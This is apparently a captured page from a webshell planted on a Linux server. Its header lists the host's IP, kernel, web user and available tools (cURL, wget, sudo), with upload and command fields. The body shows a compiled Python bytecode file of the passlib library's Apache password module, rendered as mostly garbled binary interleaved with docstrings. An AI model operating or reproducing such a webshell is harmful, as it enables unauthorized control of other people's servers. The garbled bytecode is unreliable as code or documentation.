403Webshell
Server IP : 178.105.222.151  /  Your IP : 216.73.216.38
Web Server : nginx/1.28.3
System : Linux MNK 7.0.0-15-generic #15-Ubuntu SMP PREEMPT_DYNAMIC Wed Apr 22 16:06:43 UTC 2026 x86_64
User : www-data ( 33)
PHP Version : 8.5.4
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /lib/python3/dist-packages/passlib/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /lib/python3/dist-packages/passlib/__pycache__/apache.cpython-314.pyc
+
�THim���ra�0t$Rt^RIHt^RIt^RIHt^RIHt^RIH	t	H
t
HtHtH
t
HtHt^RIHt^RIHt]	'd^RIHtHt^R	IHt^R
IHtHt^RIHt^RIHt^R
I H!t!^RI"H#t#H$t$H%t%^RI&H't'RR.t(])!4t*Rt+Rt,Rt-Rt.R]/R&Rt0R]/R&]
!R4t1]	'd-]]2]R,]33,]2]R,]13,3,t4MRt4!RR]]1,4t5]6!4t7R]/R&R t8]8!4t9R!t:]:!4t;!R"R]5]3,4t<!R#R]5]2]3]33,,4t=R#)$zApache password support)�annotationsN)�BytesIO)�PathLike)�
TYPE_CHECKING�Any�Generic�Literal�TypeVar�Union�cast)�warn)�logger)�Iterable�Iterator)�Self)�exc�registry)�CryptContext)�ExpectedStringError)�htdigest)�is_ascii_codec�render_bytes�to_bytes)�
join_bytes�HtpasswdFile�HtdigestFile�:�#s:

	�skippedzLiteral['skipped']�_SKIPPED�recordzLiteral['record']�_RECORD�_TRecordKeyc�r�]tRt^6tRtR/RRllt]RRl4t]RRl4tR	R
lt	]
RRl4t]PR
Rl4t]
RRl4t
RRltR0RRlltRRltRRltRRltRRltRRltR0RR lltR!R"ltR#R$ltR%tR&R'ltR(R)ltR1R*R+lltR,R-ltR.tR#)2�_CommonFilez0Common framework for HtpasswdFile & HtdigestFileNc�0�V^8�dQhRRRRRRRRRRR	R
/#)��path�PathLike | None�new�bool�autosave�encoding�str�return_unicode�return�None�)�formats"�0/usr/lib/python3/dist-packages/passlib/apache.py�__annotate__�_CommonFile.__annotate__9sF��"�"��"��"��	"�
�"��
"�
�"�c	��V'g\R4h\V4'g\R4hW@nWPnW0nWn^Vn/Vn.Vn	V'dV'gVP4R#R#R#)z'encoding' is requiredz'encoding must be 7-bit ascii compatibleN)�	TypeErrorr�
ValueErrorr,r.r+�_path�_mtime�_records�_source�load)�selfr'r)r+r,r.s&&&&&&r3�__init__�_CommonFile.__init__9ss����4�5�5��h�'�'��F�G�G�!�
�,�� �
��
����13��
�,.������I�I�K��4r6c�$�V^8�dQhRRRRRR/#)r&�data�str | bytes�kwargsrr/rr1)r2s"r3r4r5^s!����{��c��d�r6c
�\�RV9d\R4hV!R/VBpVPV4V#)z�create new object from raw string.

:type data: str or bytes
:arg data:
    database to load, as single string.

:param \*\*kwds:
    all other keywords are the same as in the class constructor
r'z$'path' not accepted by from_string()r1)r8�load_string)�clsrCrE�instances&&, r3�from_string�_CommonFile.from_string]s6���V���B�C�C��=��=�����T�"��r6c�$�V^8�dQhRRRRRR/#)r&r'r�kwdsrr/rr1)r2s"r3r4r5os!����X��s��t�r6c
�8�V!R/VBpVPV4V#)z�create new object from file, without binding object to file.

:type path: str
:arg path:
    local filepath to load from

:param \*\*kwds:
    all other keywords are the same as in the class constructor
r1)r>)rHr'rMr?s&&, r3�	from_path�_CommonFile.from_pathns���{�T�{���	�	�$���r6c��V^8�dQhRR/#)r&r/r-r1)r2s"r3r4r5s��D�D�#�Dr6c	�0�RpVP'd
VR,
pVP'dVRVP:2,
pVPR8wdVRVP:2,
pRVPPR\V4R
VR2#)	�z autosave=Truez path=�utf-8z
 encoding=�<z 0x�0x�>)r+r:r,�	__class__�__name__�id)r?�tails& r3�__repr__�_CommonFile.__repr__s������=�=�=��$�$�D��:�:�:��f�T�Z�Z�N�+�+�D��=�=�G�#��j���� 1�2�2�D��4�>�>�*�*�+�3�r�$�x��m�D�6��C�Cr6c��V^8�dQhRR/#)r&r/r(r1)r2s"r3r4r5�s����o�r6c	��VP#�N)r:�r?s&r3r'�_CommonFile.path�s���z�z�r6c� �V^8�dQhRRRR/#)r&�valuer(r/r0r1)r2s"r3r4r5�s����/��d�r6c	�@�WP8wd^VnWnR#)�N)r:r;�r?rds&&r3r'rb�s���J�J���D�K��
r6c��V^8�dQhRR/#)r&r/�floatr1)r2s"r3r4r5�s����u�r6c
��VP#)z7modify time when last loaded (if bound to a local file))r;ras&r3�mtime�_CommonFile.mtime�s���{�{�r6c��V^8�dQhRR/#)r&r/r*r1)r2s"r3r4r5�s�����r6c
��VP'g\V:R24hVP'd;VP\PPVP48XdR#VP
4R#)zBReload from ``self.path`` only if file has changed since last loadz is not bound to a local fileFT)r:�RuntimeErrorr;�osr'�getmtimer>ras&r3�load_if_changed�_CommonFile.load_if_changed�sT���z�z�z��$��)F�G�H�H��;�;�;�4�;�;�"�'�'�*:�*:�4�:�:�*F�F���	�	��r6c� �V^8�dQhRRRR/#)r&r'r(r/r*r1)r2s"r3r4r5�s������D�r6c
��Ve8\VR4;_uu_4p^VnVPV4RRR4R#VP'di\VPR4;_uu_4p\P
P
VP4VnVPV4RRR4R#\VPPR24h +'giR#;i +'giR#;i)z�Load state from local file.
If no path is specified, attempts to load from ``self.path``.

:type path: str
:arg path: local file to load from
N�rbz0().path is not set, an explicit path is requiredT)
�openr;�_load_linesr:rpr'rqrorXrY�r?r'�fhs&& r3r>�_CommonFile.load�s������d�D�!�!�R����� � ��$�"���Z�Z�Z��d�j�j�$�'�'�2� �g�g�.�.�t�z�z�:���� � ��$�(����>�>�*�*�+�+[�\��
�"�!���(�'��s�C�,AC,�C)	�,C=	c� �V^8�dQhRRRR/#)r&rCrDr/r0r1)r2s"r3r4r5�s��I�I��I��Ir6c	
�p�^VnVP\\WPR444R#)z@Load state from unicode or bytes string, replacing current staterCN)r;rxrrr,)r?rCs&&r3rG�_CommonFile.load_string�s'����������$�
�
�v�!F�G�Hr6c� �V^8�dQhRRRR/#)r&�lineszIterable[bytes]r/r0r1)r2s"r3r4r5�s��*�*��*�T�*r6c
� �/p.pRp\V4F�wrVVP4pV'dVP\4'dWF,
pKBVP	We^,4wr�W�9d"\
P!RV4WF,
pK�V'dVP\V34RpW�V&VP\V34K�	VP4'dVP\V34W nW0nR#)zload from sequence of listsr6z1username occurs multiple times in source file: %rN)
�	enumerate�lstrip�
startswith�_BHASH�
_parse_recordr
�warning�appendrr!�rstripr<r=)
r?r��records�sourcer�idx�line�tmp�keyrds
&&        r3rx�_CommonFile._load_lines�s�����%'����"�5�)�I�C��+�+�-�C��#�.�.��0�0������+�+�D��'�:�J�C��~����G���������
�
�x��1�2���!�C�L��M�M�7�C�.�)�;*�@�>�>����M�M�8�W�-�.� �
��r6c�$�V^8�dQhRRRRRR/#)r&r �bytes�lineno�intr/ztuple[_TRecordKey, Any]r1)r2s"r3r4r5�s)��G�G��G�%(�G�	 �Gr6c
��\R4h)z)parse line of file into (key, value) pair�!should be implemented in subclass��NotImplementedError)r?r r�s&&&r3r��_CommonFile._parse_record�s��"�"E�F�Fr6c�$�V^8�dQhRRRRRR/#)r&r�r"rdrr/r*r1)r2s"r3r4r5�s!����{��3��4�r6c
��WP9pW PV&V'g"VPP\V34V#)z{
helper for setting record which takes care of inserting source line if needed;

:returns:
    bool if key already present
)r<r=r�r!)r?r�rd�existings&&& r3�_set_record�_CommonFile._set_record�s:���-�-�'��"�
�
�c����L�L����#��/��r6c��V^8�dQhRR/#)r&r/r0r1)r2s"r3r4r5�s����4�r6c
�v�VP'd'VP'dVP4R#R#R#)z0subclass helper to call save() after any changesN)r+r:�saveras&r3�	_autosave�_CommonFile._autosave�s#���=�=�=�T�Z�Z�Z��I�I�K�(�=r6c� �V^8�dQhRRRR/#)r&r'r(r/r0r1)r2s"r3r4r5s��
�
��
�D�
r6c
��Ve?\VR4;_uu_4pVPVP44RRR4R#VP'dLVP	VP4\
PPVP4VnR#\VPPR24h +'giR#;i)zXSave current state to file.
If no path is specified, attempts to save to ``self.path``.
N�wbz#().path is not set, cannot autosave)rw�
writelines�_iter_linesr:r�rpr'rqr;rorXrYrys&& r3r��_CommonFile.saves������d�D�!�!�R��
�
�d�.�.�0�1�"�!�
�Z�Z�Z��I�I�d�j�j�!��'�'�*�*�4�:�:�6�D�K���>�>�*�*�+�+N�O��
�
"�!�!�s� C�C	c��V^8�dQhRR/#)r&r/r�r1)r2s"r3r4r5s��.�.�5�.r6c
�4�\VP44#)z)Export current state as a string of bytes)rr�ras&r3�	to_string�_CommonFile.to_strings���$�*�*�,�-�-r6c��V^8�dQhRR/#)r&r/z
Iterator[Any]r1)r2s"r3r4r5s��T�T�]�Tr6c#
�L"�VPp\V4pVPFcwr4V\8XdVx�KV\8XgQh\RV4pWA9dK7VP
WAV,4x�VPV4Ke	V'dQRV:24hR#5i)z#iterator yielding lines of databaser"z%failed to write all records: missing=N)r<�setr=rr!r�_render_record�remove)r?r��pending�action�contents&    r3r��_CommonFile._iter_liness�����-�-����'�l�G�#�|�|�O�F���!��
���(�(�(��!�7���
�)���)�)�'�7�3C�D�D���N�N�7�+�% ,�&��S�"G��{� S�S�;�w�s�BB$�
B$c
��\R4h)z,given key/value pair, encode as line of filer�r�)r?r�rds&&&r3r��_CommonFile._render_record;s��!�"E�F�Fr6c� �V^8�dQhRRRR/#)r&�userrDr/r�r1)r2s"r3r4r5?s��0�0��0��0r6c
�&�VPVR4#)z)user-specific wrapper for _encode_field()r���
_encode_field�r?r�s&&r3�_encode_user�_CommonFile._encode_user?s���!�!�$��/�/r6c� �V^8�dQhRRRR/#)r&�realmrDr/r�r1)r2s"r3r4r5Cs��2�2� �2�	�2r6c
�&�VPVR4#)z*realm-specific wrapper for _encode_field()r�r��r?r�s&&r3�
_encode_realm�_CommonFile._encode_realmCs���!�!�%��1�1r6c� �V^8�dQhRRRR/#)r&rdrDr/r�r1)r2s"r3r4r5Is����;��%�r6c
��\V\4'dVPVP4pM!\V\4'g\W4h\
V4^�8�d\VRV:24h\;QJdRV4F'gKRM	RM
!RV44'd\VRV:24hV#)a�convert field to internal representation.

internal representation is always bytes. byte strings are left as-is,
unicode strings encoding using file's default encoding (or ``utf-8``
if no encoding has been specified).

:raises UnicodeEncodeError:
    if unicode value cannot be encoded using default encoding.

:raises ValueError:
    if resulting byte string contains a forbidden character,
    or is too long (>255 bytes).

:returns:
    encoded identifer as bytes
z! must be at most 255 characters: c3�2"�TF
q\9x�K	R#5ir`)�_INVALID_FIELD_CHARS)�.0�cs& r3�	<genexpr>�,_CommonFile._encode_field.<locals>.<genexpr>as���8�%�Q�(�(�%���TFz contains invalid characters: )	�
isinstancer-�encoder,r�r�lenr9�any)r?rd�params&&&r3r��_CommonFile._encode_fieldIs���"�e�S�!�!��L�L����/�E��E�5�)�)�%�e�3�3��u�:�����w�&G��y�Q�R�R��3�8�%�8�3�3�3�8�%�8�8�8���w�&D�U�I�N�O�O��r6c� �V^8�dQhRRRR/#)r&rdr�r/zbytes | strr1)r2s"r3r4r5es����5��[�r6c
��\V\4'gQR4hVP'dVPVP4#V#)adecode field from internal representation to format
returns by users() method, etc.

:raises UnicodeDecodeError:
    if unicode value cannot be decoded using default encoding.
    (usually indicates wrong encoding set for file).

:returns:
    field as str or bytes, as appropriate.
zexpected value to be bytes)r�r�r.�decoder,rgs&&r3�
_decode_field�_CommonFile._decode_fieldesA���%��'�'�E�)E�E�'������<�<��
�
�.�.��r6)r;r:r<r=r+r,r.)NFFrTTr`)�field)rY�
__module__�__qualname__�__firstlineno__�__doc__r@�classmethodrJrOr\�propertyr'�setterrkrrr>rGrxr�r�r�r�r�r�r�r�r�r�r��__static_attributes__r1r6r3r$r$6s���:�"�H���� ���� D�����
�[�[����
������*I�
*�XG���

�.�T�>G�0�2��8�r6r$zset[str]�_warn_no_bcryptc	���RpRF#p\P!V4'gK!TpM	\P!R4'dRMRp\P	4V'g\P.R	O4\
T;'gRRT;'g
T;'gRT;'gRT;'gRRR7pVPVR,VR,R7V#)
N�bcrypt�sha256_crypt�portable_apache_24�host_apache_24�
apr_md5_crypt)r��portable_apache_22r��host_apache_22�linux_apache_24�linux_apache_22)�portable�host)r�r�)r�r�r�r�r�)r�has_os_crypt_support�has_backendr��clear�update�dict)�	host_best�namer��defaultss    r3�_init_default_schemesr��s����I�*���(�(��.�.��I��+�"�-�-�h�7�7�X�T�F���������
�	
��!�4�4�_�*��=�=��=�=�o� �3�3�O��0�0�.�&�
�H�
�O�O��.�/�
�&�
'����Or6c���.ROpVP\P!44VR,R.,V,p\\	V4VP
R7p\
V\R,RR7#)r�r�:N�N)r�r��2y)�schemes�default�
bcrypt__ident)r�r��sha512_crypt�	des_cryptr��	ldap_sha1�	plaintext)�extendr�get_supported_os_crypt_schemes�sortedr��indexr�htpasswd_defaults)r��	preferreds  r3�_init_htpasswd_contextr
�sj���G�(�N�N�8�:�:�<�=�����/�/�'�9�I��S��\�y���7�G���!�"6�7���r6c�la�]tRtRtRtRR]3V3RlltRtRtRRlt	R	t
R
tRtRt
R
tRtV;t#)ri�a]class for reading & writing Htpasswd files.

The class constructor accepts the following arguments:

:type path: filepath
:param path:

    Specifies path to htpasswd file, use to implicitly load from and save to.

    This class has two modes of operation:

    1. It can be "bound" to a local file by passing a ``path`` to the class
       constructor. In this case it will load the contents of the file when
       created, and the :meth:`load` and :meth:`save` methods will automatically
       load from and save to that file if they are called without arguments.

    2. Alternately, it can exist as an independant object, in which case
       :meth:`load` and :meth:`save` will require an explicit path to be
       provided whenever they are called. As well, ``autosave`` behavior
       will not be available.

       This feature is new in Passlib 1.6, and is the default if no
       ``path`` value is provided to the constructor.

    This is also exposed as a readonly instance attribute.

:type new: bool
:param new:

    Normally, if *path* is specified, :class:`HtpasswdFile` will
    immediately load the contents of the file. However, when creating
    a new htpasswd file, applications can set ``new=True`` so that
    the existing file (if any) will not be loaded.

    .. versionadded:: 1.6
        This feature was previously enabled by setting ``autoload=False``.
        That alias was removed in Passlib 1.8

:type autosave: bool
:param autosave:

    Normally, any changes made to an :class:`HtpasswdFile` instance
    will not be saved until :meth:`save` is explicitly called. However,
    if ``autosave=True`` is specified, any changes made will be
    saved to disk immediately (assuming *path* has been set).

    This is also exposed as a writeable instance attribute.

:type encoding: str
:param encoding:

    Optionally specify character encoding used to read/write file
    and hash passwords. Defaults to ``utf-8``, though ``latin-1``
    is the only other commonly encountered encoding.

    This is also exposed as a readonly instance attribute.

:type default_scheme: str
:param default_scheme:
    Optionally specify default scheme to use when encoding new passwords.

    This can be any of the schemes with builtin Apache support,
    OR natively supported by the host OS's :func:`crypt.crypt` function.

    * Builtin schemes include ``"bcrypt"`` (apache 2.4+), ``"apr_md5_crypt"`,
      and ``"des_crypt"``.

    * Schemes commonly supported by Unix hosts
      include ``"bcrypt"``, ``"sha256_crypt"``, and ``"des_crypt"``.

    In order to not have to sort out what you should use,
    passlib offers a number of aliases, that will resolve
    to the most appropriate scheme based on your needs:

    * ``"portable"``, ``"portable_apache_24"`` -- pick scheme that's portable across hosts
      running apache >= 2.4. **This will be the default as of Passlib 2.0**.

    * ``"portable_apache_22"`` -- pick scheme that's portable across hosts
      running apache >= 2.4. **This is the default up to Passlib 1.9**.

    * ``"host"``, ``"host_apache_24"`` -- pick strongest scheme supported by
       apache >= 2.4 and/or host OS.

    * ``"host_apache_22"`` -- pick strongest scheme supported by
       apache >= 2.2 and/or host OS.

    .. versionadded:: 1.6
        This keyword was previously named ``default``. That alias
        was removed in Passlib 1.8.

    .. versionchanged:: 1.6.3

        Added support for ``"bcrypt"``, ``"sha256_crypt"``, and ``"portable"`` alias.

    .. versionchanged:: 1.7

        Added apache 2.4 semantics, and additional aliases.

:type context: :class:`~passlib.context.CryptContext`
:param context:
    :class:`!CryptContext` instance used to create
    and verify the hashes found in the htpasswd file.
    The default value is a pre-built context which supports all
    of the hashes officially allowed in an htpasswd file.

    This is also exposed as a readonly instance attribute.

    .. warning::

        This option may be used to add support for non-standard hash
        formats to an htpasswd file. However, the resulting file
        will probably not be usable by another application,
        and particularly not by Apache.

Loading & Saving
================
.. automethod:: load
.. automethod:: load_if_changed
.. automethod:: load_string
.. automethod:: save
.. automethod:: to_string

Inspection
================
.. automethod:: users
.. automethod:: check_password
.. automethod:: get_hash

Modification
================
.. automethod:: set_password
.. automethod:: delete

Alternate Constructors
======================
.. automethod:: from_string

Attributes
==========
.. attribute:: path

    Path to local file that will be used as the default
    for all :meth:`load` and :meth:`save` operations.
    May be written to, initialized by the *path* constructor keyword.

.. attribute:: autosave

    Writeable flag indicating whether changes will be automatically
    written to *path*.

Errors
======
:raises ValueError:
    All of the methods in this class will raise a :exc:`ValueError` if
    any user name contains a forbidden character (one of ``:\r\n\t\x00``),
    or is longer than 255 characters.
Nc	��<�V'dQV\9d\RV:2\P4\PW"4pVP
VR7pW0n\SV`$!V3/VBR#)zNHtpasswdFile: no bcrypt backends available, using fallback for default scheme )r�N)
r�rr�PasslibSecurityWarningr�get�copy�context�superr@)r?r'�default_schemerrMrXs&&&&,�r3r@�HtpasswdFile.__init__�sk������0��9�9G�8J�L��.�.��
/�2�2�>�R�N��l�l�>�l�:�G���
����&��&r6c	��VP4P\4p\V4^8wd\	RV,4hV#)r&z/malformed htpasswd file (error reading line %d)�r��split�_BCOLONr�r9)r?r r��results&&& r3r��HtpasswdFile._parse_record�s;������&�&�w�/���v�;�!���N�QW�W�X�X��
r6c	��\RW4#)z%s:%s
�r)r?r��hashs&&&r3r��HtpasswdFile._render_record�s���I�t�2�2r6c��V^8�dQhRR/#)r&r/zlist[bytes | str]r1)r2s"r3r4�HtpasswdFile.__annotate__�s��D�D�(�Dr6c
�`�VPUu.uFqPV4NK	up#uupi)z&
Return list of all users in database
)r<r�r�s& r3�users�HtpasswdFile.users�s)��6:�]�]�C�]�T�"�"�4�(�]�C�C��Cs�+c
�Z�VPPV4pVPW4#)aLSet password for user; adds user if needed.

:returns:
    * ``True`` if existing user was updated.
    * ``False`` if user account was added.

.. versionchanged:: 1.6
    This method was previously called ``update``, it was renamed
    to prevent ambiguity with the dictionary method.
    The old alias was removed in Passlib 1.8.
)rr�set_hash)r?r��passwordrs&&& r3�set_password�HtpasswdFile.set_password�s'���|�|� � ��*���}�}�T�(�(r6c
�l�VPVPV4,# \dR#i;i)z�Return hash stored for user, or ``None`` if user not found.

.. versionchanged:: 1.6
    This method was previously named ``find``, it was renamed
    for clarity. The old name was removed in Passlib 1.8.
N)r<r��KeyErrorr�s&&r3�get_hash�HtpasswdFile.get_hash�s3��	��=�=��!2�!2�4�!8�9�9���	��	�s�!$�3�3c
���\V\4'dVPVP4pVP	V4pVPW4pVP
4V#)z�
semi-private helper which allows writing a hash directly;
adds user if needed.

.. warning::
    does not (currently) do any validation of the hash string

.. versionadded:: 1.7
)r�r-r�r,r�r�r�)r?r�rr�s&&& r3r$�HtpasswdFile.set_hash�sR���d�C� � ��;�;�t�}�}�-�D�� � ��&���#�#�D�/�������r6c
��VPVPV4TP4R# \dR#i;i)zcDelete user's entry.

:returns:
    * ``True`` if user deleted.
    * ``False`` if user not found.
FT)r<r�r)r�r�s&&r3�delete�HtpasswdFile.delete�sA��	��
�
�d�/�/��5�6�	
�������	��	�s�0�?�?c
�~�VPV4pVPPV4pVfR#\V\4'dVPVP4pVPPW#4wrEV'd5Ve1WP9gQhWPPV&VP4V#)a�
Verify password for specified user.
If algorithm marked as deprecated by CryptContext, will automatically be re-hashed.

:returns:
    * ``None`` if user not found.
    * ``False`` if user found, but password does not match.
    * ``True`` if user found and password matches.

.. versionchanged:: 1.6
    This method was previously called ``verify``, it was renamed
    to prevent ambiguity with the :class:`!CryptContext` method.
    The old alias was removed in Passlib 1.8.
N)
r�r<rr�r-r�r,r�verify_and_updater�)r?r�r%r�ok�new_hashs&&&   r3�check_password�HtpasswdFile.check_password�s���� � ��&���}�}� � ��&���<���h��$�$� ���t�}�}�5�H��|�|�5�5�h�E���
�(�&��=�=�(�(�(�"*�M�M�$���N�N���	r6)r)rYr�r�r�r��htpasswd_contextr@r�r�r!r&r*r$r/r5r��
__classcell__�rXs@r3rr�sG���\�B��6F�
'��3�D�$
)�
��&��r6c�a�]tRtRtRtRtRV3RlltRtRtRt	Rt
R	tR
tRRlt
R]3RltRR
ltR]3RltRRltRtR]3RltRtV;t#)ria�class for reading & writing Htdigest files.

The class constructor accepts the following arguments:

:type path: filepath
:param path:

    Specifies path to htdigest file, use to implicitly load from and save to.

    This class has two modes of operation:

    1. It can be "bound" to a local file by passing a ``path`` to the class
       constructor. In this case it will load the contents of the file when
       created, and the :meth:`load` and :meth:`save` methods will automatically
       load from and save to that file if they are called without arguments.

    2. Alternately, it can exist as an independant object, in which case
       :meth:`load` and :meth:`save` will require an explicit path to be
       provided whenever they are called. As well, ``autosave`` behavior
       will not be available.

       This feature is new in Passlib 1.6, and is the default if no
       ``path`` value is provided to the constructor.

    This is also exposed as a readonly instance attribute.

:type default_realm: str
:param default_realm:

    If ``default_realm`` is set, all the :class:`HtdigestFile`
    methods that require a realm will use this value if one is not
    provided explicitly. If unset, they will raise an error stating
    that an explicit realm is required.

    This is also exposed as a writeable instance attribute.

    .. versionadded:: 1.6

:type new: bool
:param new:

    Normally, if *path* is specified, :class:`HtdigestFile` will
    immediately load the contents of the file. However, when creating
    a new htpasswd file, applications can set ``new=True`` so that
    the existing file (if any) will not be loaded.

    .. versionadded:: 1.6
        This feature was previously enabled by setting ``autoload=False``.
        That alias was removed in Passlib 1.8

:type autosave: bool
:param autosave:

    Normally, any changes made to an :class:`HtdigestFile` instance
    will not be saved until :meth:`save` is explicitly called. However,
    if ``autosave=True`` is specified, any changes made will be
    saved to disk immediately (assuming *path* has been set).

    This is also exposed as a writeable instance attribute.

:type encoding: str
:param encoding:

    Optionally specify character encoding used to read/write file
    and hash passwords. Defaults to ``utf-8``, though ``latin-1``
    is the only other commonly encountered encoding.

    This is also exposed as a readonly instance attribute.

Loading & Saving
================
.. automethod:: load
.. automethod:: load_if_changed
.. automethod:: load_string
.. automethod:: save
.. automethod:: to_string

Inspection
==========
.. automethod:: realms
.. automethod:: users
.. automethod:: check_password(user[, realm], password)
.. automethod:: get_hash

Modification
============
.. automethod:: set_password(user[, realm], password)
.. automethod:: delete
.. automethod:: delete_realm

Alternate Constructors
======================
.. automethod:: from_string

Attributes
==========
.. attribute:: default_realm

    The default realm that will be used if one is not provided
    to methods that require it. By default this is ``None``,
    in which case an explicit realm must be provided for every
    method call. Can be written to.

.. attribute:: path

    Path to local file that will be used as the default
    for all :meth:`load` and :meth:`save` operations.
    May be written to, initialized by the *path* constructor keyword.

.. attribute:: autosave

    Writeable flag indicating whether changes will be automatically
    written to *path*.

Errors
======
:raises ValueError:
    All of the methods in this class will raise a :exc:`ValueError` if
    any user name or realm contains a forbidden character (one of ``:\r\n\t\x00``),
    or is longer than 255 characters.
Nc	�6<�W n\SV`!V3/VBR#r`)�
default_realmrr@)r?r'r<rMrXs&&&,�r3r@�HtdigestFile.__init__�s���*��
����&��&r6c	��VP4P\4p\V4^8wd\	RV,4hVwrEpWE3V3#)r�z/malformed htdigest file (error reading line %d)r)r?r r�rr�r�rs&&&    r3r��HtdigestFile._parse_record�sM������&�&�w�/���v�;�!���N�QW�W�X�X�"���T��}�d�"�"r6c	�$�Vwr4\RW4V4#)z	%s:%s:%s
r)r?r�rr�r�s&&&  r3r��HtdigestFile._render_record�s������L�$�t�<�<r6c	�D�VfVPpVf\R4hV#)NzGyou must specify a realm explicitly, or set the default_realm attribute)r<r8r�s&&r3�_require_realm�HtdigestFile._require_realm�s0���=��&�&�E��}��9����r6c	�H�VPV4pVPVR4#)r�)rCr�r�s&&r3r��HtdigestFile._encode_realm�s%���#�#�E�*���!�!�%��1�1r6c	�F�VPV4VPV43#r`)r�r�)r?r�r�s&&&r3�_encode_key�HtdigestFile._encode_key�s#��� � ��&��(:�(:�5�(A�A�Ar6c
��\RVP44pVUu.uFq PV4NK	up#uupi)z%Return list of all realms in databasec3�2"�TF
q^,x�K	R#5i)�Nr1)r�r�s& r3r��&HtdigestFile.realms.<locals>.<genexpr>�s���5�}���V�V�}�r�)r�r<r�)r?�realmsr�s&  r3rN�HtdigestFile.realms�s7���5�t�}�}�5�5��7=�>�v�e�"�"�5�)�v�>�>��>s�=c
��VPV4pVPUu.uF*q"^,V8XgKVPV^,4NK,	up#uupi)z�Return list of all users in specified realm.

* uses ``self.default_realm`` if no realm explicitly provided.
* returns empty list if realm not found.
)r�r<r�)r?r�r�s&& r3r!�HtdigestFile.users�sK���"�"�5�)��6:�m�m�W�m�s�1�v�QV��*��"�"�3�q�6�*�m�W�W��Ws
�A�Ac
��V\JdRTr2VPV4p\P!W1W PR7pVPWV4#)a_Set password for user; adds user & realm if needed.

If ``self.default_realm`` has been set, this may be called
with the syntax ``set_password(user, password)``,
otherwise it must be called with all three arguments:
``set_password(user, realm, password)``.

:returns:
    * ``True`` if existing user was updated
    * ``False`` if user account added.
N�r,)�_UNSETrCrrr,r$�r?r�r�r%rs&&&& r3r&�HtdigestFile.set_password�sH���v��"�E�8��#�#�E�*���}�}�X�U�]�]�K���}�}�T�$�/�/r6c
��VPW4pVPPV4pVfR#VPVP4#)a=Return :class:`~passlib.hash.htdigest` hash stored for user.

* uses ``self.default_realm`` if no realm explicitly provided.
* returns ``None`` if user or realm not found.

.. versionchanged:: 1.6
    This method was previously named ``find``, it was renamed
    for clarity. The old name is was removed Passlib 1.8.
N)rHr<rr�r,)r?r�r�r�rs&&&  r3r*�HtdigestFile.get_hash�sC�����t�+���}�}� � ��%���<���{�{�4�=�=�)�)r6c
���V\JdRTr2\V\4'dVPVP4pVPW4pVP
WC4pVP4V#)ax
semi-private helper which allows writing a hash directly;
adds user & realm if needed.

If ``self.default_realm`` has been set, this may be called
with the syntax ``set_hash(user, hash)``,
otherwise it must be called with all three arguments:
``set_hash(user, realm, hash)``.

.. warning::
    does not (currently) do any validation of the hash string

.. versionadded:: 1.7
N)rTr�r-r�r,rHr�r�)r?r�r�rr�r�s&&&&  r3r$�HtdigestFile.set_hash�s`���6�>���4��d�C� � ��;�;�t�}�}�-�D����t�+���#�#�C�.�������r6c
��VPW4pVPVTP4R# \dR#i;i)z�Delete user's entry for specified realm.

if realm is not specified, uses ``self.default_realm``.

:returns:
    * ``True`` if user deleted,
    * ``False`` if user not found in realm.
FT)rHr<r)r�)r?r�r�r�s&&& r3r/�HtdigestFile.deletesH�����t�+��	��
�
�c�"�	
�������	��	�s�
2�A�Ac
���VPV4pVPpVUu.uFq3^,V8XgKVNK	ppVFpW#K	VP4\V4#uupi)z�Delete all users for specified realm.

if realm is not specified, uses ``self.default_realm``.

:returns: number of users deleted (0 if realm not found)
)r�r<r�r�)r?r�r�r��keyss&&   r3�delete_realm�HtdigestFile.delete_realm+sc���"�"�5�)���-�-��&�:�w��a�&�E�/���w��:��C���������4�y���	;s
�A$�A$c
���V\JdRTr2VPV4pVPV4pVPP	W34pVfR#\
P!W4WVPR7#)akVerify password for specified user + realm.

If ``self.default_realm`` has been set, this may be called
with the syntax ``check_password(user, password)``,
otherwise it must be called with all three arguments:
``check_password(user, realm, password)``.

:returns:
    * ``None`` if user or realm not found.
    * ``False`` if user found, but password does not match.
    * ``True`` if user found and password matches.

.. versionchanged:: 1.6
    This method was previously called ``verify``, it was renamed
    to prevent ambiguity with the :class:`!CryptContext` method.
    The old alias was removed in Passlib 1.8.
NrS)rTr�r�r<rr�verifyr,rUs&&&& r3r5�HtdigestFile.check_password:sh��$�v��"�E�8�� � ��&���"�"�5�)���}�}� � �$��/���<�����x�t�T�]�]�S�Sr6)r<)NNr`)rYr�r�r�r�r<r@r�r�rCr�rHrNr!rTr&r*r$r/r_r5r�r8r9s@r3rrsv���x�D�M�'�#�=��2�B�?�
X�B(,�f�0�&*� $(�f��6�"
�*.��T�Tr6)>�__conditional_annotations__r��
__future__rrp�iorr�typingrrrrr	r
r�warningsr�passlib._loggingr
�collections.abcrr�typing_extensionsr�passlibrr�passlib.contextr�passlib.excr�passlib.hashr�
passlib.utilsrrr�passlib.utils.compatr�__all__�objectrTrr�r�r�__annotations__r!r"�tupler��_SourceTypesr$r�r�r�rr
r7rr)rds@r3�<module>rwsC����#�	���M�M�M��#��2�&�!�(�+�!�@�@�+�����

���
��	
��&�� )��
�(�%��	�%��m�$����
�g�i� �%�'�(�
�g�h���,�-�	/��L�
�L�}�'�+�&�}�j
 �E���!�*�\*�+��#�N*�+��e�;�u�%�e�P	CT�;�u�U�E�\�2�3�CTr6

Youez - 2016 - github.com/yon3zu
LinuXploit